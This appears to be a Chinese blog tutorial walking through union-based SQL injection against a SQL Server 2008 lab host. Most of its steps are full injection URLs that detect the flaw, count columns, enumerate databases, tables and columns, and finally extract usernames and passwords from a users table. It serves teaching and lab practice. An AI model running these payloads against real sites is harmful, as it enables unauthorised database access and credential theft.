sql注入——sqlserver联合查询

实验环境:sqlserver 2008

实验步骤:

一、判断是否有注入

分别输入ip/1.php?id=1 and 1=1和ip/1.php?id=1 and 1=2可判断出该处存在注入

二、判断显示位

1.输入http://192.168.1.106/1.php?id=1 order by 3,显示出第三列

2.输入http://192.168.1.106/1.php?id=1 order by 4,显示下面情况,说明显示位有3列

三、查看数据库

在浏览器中输入:http://192.168.1.106/1.php?id=1 union select NULL,db_name(),NULL,可看到数据库名为test

四、查看用户名

输入:http://192.168.1.106/1.php?id=1 union select NULL,user_name(),NULL,可看到用户在数据库中的名为dbo

五、查看指定数据库有哪些表(注:这里的表是指用户的表)

1.输入:http://192.168.1.106/1.php?id=1 union select NULL,name,NULL from test.sys.sysobjects where xtype='U',这里可看到该数据库有users表

2.输入:http://192.168.1.106/1.php?id=-1 union select  TOP 1 NULL,name,NULL from test.sys.sysobjects where xtype='U' and name !='users'可查询非users的表,如下图:

六、查看对应表的列

1.输入:http://192.168.1.106/1.php?id=-1 union select  TOP 1 NULL,name,NULL  from test.sys.syscolumns where id=OBJECT_ID('users') 可看到第一列;

2.输入:http://192.168.1.106/1.php?id=-1 union select  TOP 1 NULL,name,NULL  from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id';可看到第二列,以此类推……

七、查看用户名和密码信息

输入:http://192.168.1.106/1.php?id=-1 union select  TOP 1 NULL,username,password  from users where username!='zs';可看到第二个用户的用户名和密码

第三个用户名和密码,可输入:?id=-1 union select top 1 null,username,password from users where username !='zs' and username !='......',以此类推……

发布了38 篇原创文章 · 获赞 21 · 访问量 1943

猜你喜欢

转载自blog.csdn.net/cxrpty/article/details/104287331